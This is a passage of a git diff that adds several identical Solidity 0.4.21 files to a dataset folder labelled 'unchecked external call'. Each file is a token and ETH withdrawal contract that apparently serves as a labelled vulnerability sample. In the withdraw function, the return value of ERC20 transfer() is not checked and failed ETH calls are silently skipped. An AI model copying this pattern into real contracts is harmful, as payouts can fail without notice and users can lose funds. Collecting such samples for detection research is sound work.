+ */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40347.sol b/smart_contract_dataset/unchecked external call/40347.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40347.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40348.sol b/smart_contract_dataset/unchecked external call/40348.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40348.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40349.sol b/smart_contract_dataset/unchecked external call/40349.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40349.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40368.sol b/smart_contract_dataset/unchecked external call/40368.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40368.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40370.sol b/smart_contract_dataset/unchecked external call/40370.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40370.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40372.sol b/smart_contract_dataset/unchecked external call/40372.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40372.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40374.sol b/smart_contract_dataset/unchecked external call/40374.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40374.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ 